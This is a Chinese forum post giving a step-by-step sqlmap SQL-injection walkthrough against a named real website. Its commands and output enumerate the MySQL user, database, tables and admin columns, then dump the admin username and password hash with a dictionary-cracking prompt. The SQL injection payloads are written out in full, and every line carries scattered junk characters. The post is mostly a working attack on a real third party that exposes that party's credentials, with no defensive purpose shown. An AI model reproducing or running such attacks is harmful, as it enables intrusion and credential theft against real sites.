找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

sqlmap实例注入mysql

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:18:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
5 W( C0 {/ H0 X$ v$ Lms "Mysql" --current-user       /*  注解:获取当前用户名称
& ^  }9 Z- C5 B7 J, I, `( E$ `) D3 e    sqlmap/0.9 - automatic SQL injection and database takeover tool/ g" {/ S/ X4 R
    http://sqlmap.sourceforge.net
  • starting at: 16:53:54, L& I' M& g2 j3 W3 ]
    [16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    ( q; |" C- b7 @2 G- \% k session file
    & g* ?! Y) t4 s" z* Y: h[16:53:54] [INFO] resuming injection data from session file
    % \3 g% k+ O( W" e" I[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file, t! Z& P6 `" I
    [16:53:54] [INFO] testing connection to the target url
    ) ^/ p! G* o$ J& L# W  {sqlmap identified the following injection points with a total of 0 HTTP(s) reque  t2 {6 r) r6 _9 ^. R) u8 d
    sts:
    + a1 V* V0 \* s7 m1 p% c: b+ p! y---8 o6 k$ B6 p2 B2 c9 y
    Place: GET2 o& Q: P4 P3 a
    Parameter: id
    & a, |  e, Q& e0 j  S    Type: boolean-based blind6 J) H- D0 N/ I( i& I# M; X
        Title: AND boolean-based blind - WHERE or HAVING clause
    , l( i3 Q: @  u4 V1 p9 L    Payload: id=276 AND 799=799
    3 T: H7 c; _  l) a" e- n8 Z# a    Type: error-based
    . k1 b- A, m3 a' c    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    , X; a& U/ t1 ^  d% z1 h, q+ w    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,) X9 o+ f/ d" ^  j& e$ n
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,589 I4 A/ b7 |1 {/ ]" a9 I
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    9 Q8 ~1 C! J+ q% ]( A3 k! K% g    Type: UNION query+ n$ A& Q9 i! V  p% @0 p
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    $ f2 k) @, G, g    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    4 X: w1 z1 x- `6 M1 o1 g(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    % e- V5 s8 k+ @CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL## A' j/ `  P9 Y$ r, X" H
        Type: AND/OR time-based blind
    3 ~' ~4 z) L# F4 t    Title: MySQL > 5.0.11 AND time-based blind
    6 U1 V8 V- o0 E' U    Payload: id=276 AND SLEEP(5)- |( T/ h$ k( A  E
    ---! T( A# m5 i! r) h
    [16:53:55] [INFO] the back-end DBMS is MySQL  U. r* c! t) h/ }" \* `' t
    web server operating system: Windows( i9 H% v# A3 E1 D) h, I2 Q
    web application technology: Apache 2.2.11, PHP 5.3.0
    % E1 P. u4 m% u3 \8 c: Mback-end DBMS: MySQL 5.0
    - H2 J; P$ n9 W/ r[16:53:55] [INFO] fetching current user
    4 \' ]; T# }6 T! Rcurrent user:    'root@localhost'   
    , N. S) X0 p& n. d( p: z, f[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    , |$ E( g; C$ }% t, V+ E' |tput\www.wepost.com.hk'
  • shutting down at: 16:53:58$ W# }" Q  ?% E1 s( v6 X
    5 B. V, r$ g/ c! r- t, Y) H& {
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
      ^. V8 G+ I, ?ms "Mysql" --current-db                  /*当前数据库
    ) k* J' c; @# M  C% Q    sqlmap/0.9 - automatic SQL injection and database takeover tool  D) a, P. A: E6 e8 w2 D  C  x
        http://sqlmap.sourceforge.net
  • starting at: 16:54:16
    + ^7 g! x# {$ \9 [' A6 x4 H- d[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    . Y# L) d: y% }) G0 q9 e; M# l4 V session file: x; w# Y  F( O- t8 I3 u( P& x
    [16:54:16] [INFO] resuming injection data from session file
    " E5 Y' {* _* S  O  P[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    3 d# Y8 Y5 N7 y- f. m4 l[16:54:16] [INFO] testing connection to the target url( `. r! f; _9 o  K
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque, V9 t+ ^  m# h4 ^0 h7 t
    sts:4 [- i. p7 k, L. |& t4 ?
    ---
      }5 P8 o) [& Q5 _. O% A! I% ?: H! v0 z2 N# BPlace: GET  X; g* m6 `  K  l7 S' Q% s
    Parameter: id- _$ G7 v; {9 a+ d( t  V7 S* D) x
        Type: boolean-based blind
    6 o9 \  g$ `% z8 b" z! |) \0 V    Title: AND boolean-based blind - WHERE or HAVING clause
    / j& Y% r8 V6 ~" o    Payload: id=276 AND 799=799! I. \% C+ a3 q' g# j# O+ c* R
        Type: error-based
    5 S2 G& o, c$ V1 ]" B: N' t) K    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    " G5 L' C  a$ y1 f    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    2 L7 }; i+ O8 ]2 B7 I# y120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58, [3 |- t* z% o  c/ Q# ?+ }
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    6 R, E5 s+ W: z6 u    Type: UNION query
    . {* ^7 k0 D4 {    Title: MySQL UNION query (NULL) - 1 to 10 columns5 @/ T, \- S' R6 E9 T5 f
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR9 K/ N  c% z+ `7 e8 k0 R; E
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    . F7 _4 X0 V) z6 i) M* q. ^$ eCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    8 }! x) _, V6 I9 r* z/ ^    Type: AND/OR time-based blind
    9 x' D8 d3 {: Q9 I+ A    Title: MySQL > 5.0.11 AND time-based blind' W! C1 c4 M2 s% K
        Payload: id=276 AND SLEEP(5)1 N9 V' f  l; B2 V! g! y
    ---$ F5 W7 {3 @+ W' c8 M' P6 p
    [16:54:17] [INFO] the back-end DBMS is MySQL/ C: p  U2 k) K' J6 ~+ n" W
    web server operating system: Windows
    : A/ W% l8 }  @# |' Y# h) dweb application technology: Apache 2.2.11, PHP 5.3.0- Q" x# X( F/ v. Q6 X& o4 g
    back-end DBMS: MySQL 5.0
    / K$ n& q. B+ m6 X  H3 ?[16:54:17] [INFO] fetching current database
    ( p$ A5 N* r9 q3 @current database:    'wepost'# G* M* }* D- ?) h8 ^) q
    [16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    ) g# ~. ^: U9 v  U! m9 ~# }' |tput\www.wepost.com.hk'
  • shutting down at: 16:54:18
    5 M0 V. s5 A. q* T" _6 lD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db  D# {2 T" y: V4 f7 F+ E- H
    ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名/ X" ?- S( {/ t+ C0 {5 k( h. ?1 v( I" e
        sqlmap/0.9 - automatic SQL injection and database takeover tool* L, F; @$ x1 r0 w  z6 n
        http://sqlmap.sourceforge.net
  • starting at: 16:55:25. @! k" k" P( t
    [16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as0 K0 K  W* p5 Y
    session file) u7 v' {) E) _7 m$ K/ ~1 s0 F
    [16:55:25] [INFO] resuming injection data from session file. T: k* B% S, K6 T. t' D; @. r( C1 Q
    [16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    1 \. m' f5 i! X& z# s9 I, q[16:55:25] [INFO] testing connection to the target url" o+ B4 ?' v; b- v! D
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    * \: D) @* K8 y2 J+ I7 s% dsts:- g1 Y/ w4 C" Y8 X
    ---
    + h0 s/ |+ f- c' R- C0 o% s' x: M9 TPlace: GET/ c8 ~6 F( j/ [) R/ H( \, H) s( M
    Parameter: id8 t+ }6 s# \6 }( `& o; Q
        Type: boolean-based blind
    " c2 ^( k* i& w- m    Title: AND boolean-based blind - WHERE or HAVING clause5 e+ Y- f2 S1 p  z, @2 b
        Payload: id=276 AND 799=799
    # F' ^) l! j1 h; y4 r( `    Type: error-based$ d4 E! h2 N) t+ C+ `. M
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause) Q) i2 ^: l, v4 d) J' {
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    * {, V0 S: x8 q/ x120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
      O$ j6 \( `! p, i2 f7 p, ^),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    & E/ D# U, }- ~7 D! {6 _    Type: UNION query
    ( \5 V! ?6 p+ x    Title: MySQL UNION query (NULL) - 1 to 10 columns% A3 n0 ^( T5 b( j9 z
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    3 w% R; H! g- h4 K( g3 v(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    * K" o. \+ ]) s; v1 O$ u' }2 RCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#3 W! R: U% _8 T! O1 x, S4 S
        Type: AND/OR time-based blind  D- r8 l8 v3 D1 J. e5 B
        Title: MySQL > 5.0.11 AND time-based blind
    2 W- r( ^% K7 P! m& c+ _    Payload: id=276 AND SLEEP(5)" ^6 k. z" Q7 g9 n$ O0 S4 |
    ---- I: R8 b2 S! j* ?; _
    [16:55:26] [INFO] the back-end DBMS is MySQL' S: R5 b8 H8 |" A0 i
    web server operating system: Windows
    ! d; G6 g1 d: O2 sweb application technology: Apache 2.2.11, PHP 5.3.0
    $ w$ Q+ X. @+ X6 S. Dback-end DBMS: MySQL 5.0: T( ~& u8 M& `5 [/ h
    [16:55:26] [INFO] fetching tables for database 'wepost'2 \7 I# \( [* h. o2 J5 v
    [16:55:27] [INFO] the SQL query used returns 6 entries" B: H7 E& T' Y( @" w3 k
    Database: wepost
    : r9 }' y8 M1 g3 e7 P5 t0 ]* n[6 tables]0 O+ o9 B6 {3 U, ]0 `
    +-------------+
      w" I. X  W" F| admin       |
    6 `) E8 N+ d# g+ g  s. G| article     |
    , |3 b6 Y$ C8 M' P/ O| contributor |
    1 V, O# D/ K+ R. q8 v| idea        |
    ! |* _+ q; r* ~| image       |
    $ d* T* Y* L! f+ y, Z; c, R| issue       |  {4 F5 a) [2 c$ u; E
    +-------------+' ^' j3 B; h& Z1 G
    [16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    & S& b) H# s" [7 N, k  \4 ^tput\www.wepost.com.hk'
  • shutting down at: 16:55:33
    ! `# v/ X- A7 Y* t! }& h1 l: p3 i/ q1 M! J
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    & k6 @8 `# O3 c4 k/ b4 ems "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名( n/ F" y% u- K. p: v6 f& _+ z
        sqlmap/0.9 - automatic SQL injection and database takeover tool" ^7 E3 _! I3 Z2 V: m; ^5 j
        http://sqlmap.sourceforge.net
  • starting at: 16:56:06
    0 d) Z6 c5 _) \% s: i' l; c; qsqlmap identified the following injection points with a total of 0 HTTP(s) reque
    : u5 ]1 z( g8 J' k" U& [3 Ysts:
    7 W4 v# A! \, u" [---6 h0 D% z& _6 E* v7 M6 d
    Place: GET- ^) l0 P6 N% F; F+ V! E3 ~, N# ^
    Parameter: id% N0 F; ^" ^% C
        Type: boolean-based blind, w: ~" K) i6 T- {
        Title: AND boolean-based blind - WHERE or HAVING clause% k( D! j$ }6 m- E
        Payload: id=276 AND 799=799
    $ T% d# t, d$ ]: ^3 V    Type: error-based8 Z* _* ~, [1 F6 L) Q/ f
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause; f/ b4 `  [4 T' u* ~9 M
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,% f4 s& k% r! `7 P. Q& y
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    ' r1 S8 d2 O) U) q5 I" C),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    8 ^- v6 h3 d4 x0 B  N1 R4 o% B2 D    Type: UNION query
    - O0 ?' q3 R* H, N5 |3 v    Title: MySQL UNION query (NULL) - 1 to 10 columns
    ' z0 t6 ^$ D- Y0 `# A    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR4 k6 V/ `5 t: [1 _& J' E
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    # _: O8 @4 @2 S, C% ]' p& ]CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    ; Q1 n2 o' g5 f, |  b8 E    Type: AND/OR time-based blind) b# H- j8 }& F! m  C
        Title: MySQL > 5.0.11 AND time-based blind# h' C- c: E" Q% ]
        Payload: id=276 AND SLEEP(5)
    7 v" V+ L) Q. h( ]---7 ]# G  t9 n0 S6 @
    web server operating system: Windows
    ' F6 R7 r* G0 }5 d& ^9 Sweb application technology: Apache 2.2.11, PHP 5.3.05 N2 o( t8 |4 g* d( \0 z# H$ {' Y
    back-end DBMS: MySQL 5.05 ~' \0 X3 ~% B5 i
    [16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se# C8 U0 X3 c; F- A3 X
    ssion': wepost, wepost
    ( O; a- S2 @! r' G7 n5 d* V2 vDatabase: wepost
    ) X. ~. D, ?9 S2 OTable: admin
    ! k0 d$ O$ I; z# ]4 b3 l; x[4 columns]
    " n- J6 |5 u. I6 x7 P5 x+----------+-------------+
    & z) R: T( e) x- k. N6 H| Column   | Type        |
      d6 y% D6 f% E7 p+----------+-------------+
    + D( y- s/ ]* P! |. W/ x| id       | int(11)     |5 n7 W( f. Q; n4 W# a" C
    | password | varchar(32) |9 S7 q& ?6 `8 Y) q) y. @$ }, A
    | type     | varchar(10) |0 V. k% `0 Z6 U# q
    | userid   | varchar(20) |# p$ M3 Y+ b2 X. {# O% ]( l( X9 p
    +----------+-------------+. S- m  }! M  n+ d
  • shutting down at: 16:56:198 [" q7 M% q# w! V

    1 D; w/ q; h5 x# }0 qD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    ) y5 P: w9 e8 V) q9 t) \ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    ( e5 m+ S. ]4 C0 @9 E1 m- F7 \    sqlmap/0.9 - automatic SQL injection and database takeover tool
    $ S: d6 f  j: H, E3 k    http://sqlmap.sourceforge.net
  • starting at: 16:57:14
    1 S5 k/ \4 B! E" V. g5 U/ Gsqlmap identified the following injection points with a total of 0 HTTP(s) reque
    - f' A8 {/ S/ v6 ^+ o9 wsts:  n" X) X4 a+ \- f( o
    ---
    / x! W4 @% O9 s) X5 Y/ PPlace: GET
    * Y$ ]6 }6 i. v% i) q4 lParameter: id
    , b8 B0 r* ^- o9 I: h, ~2 p0 h    Type: boolean-based blind# N7 |  W: |2 A/ ]. T1 C3 y( P: J
        Title: AND boolean-based blind - WHERE or HAVING clause
    / h: @  v) @3 j: Y: E1 d$ p- `    Payload: id=276 AND 799=799
    0 O, C9 |* a/ i. `    Type: error-based
    # u. s2 I! ]1 Y( L    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    8 C" y" E: b$ f  |1 l3 C2 {    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    . e7 U4 w- d1 d8 L0 ]/ ^5 `120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    / b; B& ?3 |( r, q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ! M, m7 r( W7 j$ q6 @* ^    Type: UNION query7 L  D; p) X8 L
        Title: MySQL UNION query (NULL) - 1 to 10 columns( L8 B& u% o7 o* |2 l  j. {
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR' {4 q8 y# J# B; i
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    9 Y4 L) R$ ?; B+ I6 ?+ i" D! fCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#7 G! h8 p# @6 k- X
        Type: AND/OR time-based blind% L; P# }! W" l) U7 R1 N  a
        Title: MySQL > 5.0.11 AND time-based blind4 F3 w. K/ R6 v0 A7 n
        Payload: id=276 AND SLEEP(5)' o* x, Y; b% K4 {+ F
    ---
    2 F8 C( u9 o8 S0 y1 {3 P3 Tweb server operating system: Windows* U, q# @3 q5 Z
    web application technology: Apache 2.2.11, PHP 5.3.0; O; E- C) ^) ^, C/ C' G6 K/ i7 h- r
    back-end DBMS: MySQL 5.08 w9 G+ J$ s; Z& c
    recognized possible password hash values. do you want to use dictionary attack o
    / L: Q7 V' i# b6 t' t4 D! k% in retrieved table items? [Y/n/q] y
    9 E6 O" q4 v" ?) `' iwhat's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
    1 I6 `6 M. x7 H  |% Ido you want to use common password suffixes? (slow!) [y/N] y( W( }) q8 i/ W
    Database: wepost8 b! @" W+ H' |. C
    Table: admin
    : C* m: j- c' N4 n  r5 O+ D[1 entry]
    8 D* F/ k* l9 E2 {+----------------------------------+------------+: Z9 f% |' |! d/ r: V- C; A2 B3 l
    | password                         | userid     |3 r0 y% {4 F0 o2 o0 X3 Y3 S% b
    +----------------------------------+------------++ C: ]  n7 S& A+ v5 z6 j
    | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |2 m! ~2 h% V& P) ]6 L; L
    +----------------------------------+------------+0 }3 {$ V6 V8 @3 d& `
  • shutting down at: 16:58:14) |% ?$ M* X6 q, P

    + O( q( Y' k# o  x: J; e( xD:\Python27\sqlmap>
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表